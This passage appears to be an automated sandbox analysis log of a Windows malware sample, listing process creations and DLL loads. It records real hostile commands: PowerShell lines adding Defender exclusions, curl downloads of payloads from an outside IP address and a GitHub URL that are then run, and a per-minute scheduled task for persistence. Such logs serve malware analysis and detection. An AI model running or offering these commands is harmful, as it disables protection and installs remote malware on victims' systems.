                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"
                    Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: unknownProcess created: C:\Users\Public\winnotify.scr "C:\Users\Public\winnotify.scr" /S
                    Source: unknownProcess created: C:\Users\Public\winnotify.scr "C:\Users\Public\winnotify.scr" /S
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c mkdir C:\Users\gbcdJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exeJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\fff.scr "C:\Users\gbcd\fff.scr"Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\qqq.scr "C:\Users\gbcd\qqq.scr"Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: shfolder.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: version.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: shfolder.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: dpapi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: rasapi32.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: rasman.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: rtutils.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: windowscodecs.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: dhcpcsvc6.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: winnsi.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: secur32.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: schannel.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\gbcd\fff.scrSection loaded: gpapi.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: version.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: shfolder.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: gpapi.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: slc.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: sxs.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: scrrun.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: linkinfo.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: ntshrui.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: cscapi.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: avicap32.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: msvfw32.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\gbcd\qqq.scrSection loaded: winmm.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
